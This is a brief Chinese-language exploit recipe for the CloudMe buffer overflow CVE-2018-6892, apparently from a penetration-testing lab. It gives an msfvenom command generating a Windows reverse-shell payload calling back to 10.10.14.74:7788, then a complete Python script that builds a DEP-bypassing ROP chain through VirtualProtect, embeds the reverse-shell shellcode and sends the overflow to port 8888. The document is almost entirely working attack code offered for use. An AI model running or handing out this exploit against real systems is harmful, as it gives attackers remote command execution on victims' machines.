【CloudMe】CVE-2018-6892 缓冲区溢出

git clone https://github.com/hsteigerFR/Cybersecurity-ROPChain

#生成 shellcode
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.74 LPORT=7788 -f python

#修改 ROPChain.py 中的 shellcode

#运行脚本
python2 ROPChain.py

import socket
import struct

def create_rop_chain():
    # 保持原有的 ROP 链不变
    rop_gadgets = [
        0x61ba8f81,  # POP EAX # RETN [Qt5Gui.dll]
        0x6210b0b0,  # ptr to &VirtualProtect() [IAT Qt5Gui.dll]
        0x61bdd7f5,  # MOV EAX,DWORD PTR DS:[EAX] # RETN [Qt5Gui.dll]
        0x61b63b3c,  # XCHG EAX,ESI # RETN [Qt5Gui.dll]

        0x0049f676,  # POP EDI # RET [CloudMe.exe]
        0x68cef5b4,  # RET [Qt5Core.dll]

        0x61c5ff72,  # POP EBP # RET [Qt5Gui.dll]
        0x66e2a5fe,  # ptr to "push esp" [Qt5Xml.dll]

        0x699d2d92,  # POP EBX # RET [Qt5Network.dll]
        0x00000201,  # dwSize Value

        0x6d9f7736,  # POP EDX # RET [Qt5Sql.dll]
        0x00000040,  # flNewProtect Value

        0x66e1a858,  # POP ECX # RET [Qt5Xml.dll]
        0x68db0e70,  # lpflOldProtectWriting address [Qt5Core.dll]

        0x007f8c38,  # POP EAX # RET
        0x90909090,  # NOP [CloudMe.exe]

        0x68a9fe85  # PUSHAD [Qt5Core.dll]
    ]
    return ''.join(struct.pack('<I', _) for _ in rop_gadgets)

# 反弹 shell Shellcode
shellcode = (
    b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
    b"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
    b"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
    b"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
    b"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
    b"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
    b"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
    b"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
    b"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
    b"\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c"
    b"\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
    b"\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68"
    b"\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x05\x68\x0a\x0a\x0e\x4a\x68"
    b"\x02\x00\x1e\x6c\x89\xe6\x6a\x10\x56\x57\x68\x99\xa5\x74\x61"
    b"\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec\x68\xf0\xb5\xa2"
    b"\x56\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3\x57\x57\x57\x31\xf6"
    b"\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c\x01\x01\x8d\x44"
    b"\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56\x46\x56\x4e\x56\x56"
    b"\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89\xe0\x4e\x56\x46\xff"
    b"\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6"
    b"\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
    b"\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5"
)

# 关键修改：设置目标 IP 和 ROP 链
rop_chain = create_rop_chain()
target = "127.0.0.1"  # 你的攻击机 IP
junk = "A" * 1052

# 计算填充
rmdr = b'\x44' * (3044 - len(rop_chain) - len(shellcode))
payload = junk.encode() + rop_chain + shellcode + rmdr

try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((target, 8888))
    s.send(payload)
    print("Payload sent successfully!")
except Exception as e:
    print(f"Error: {e}")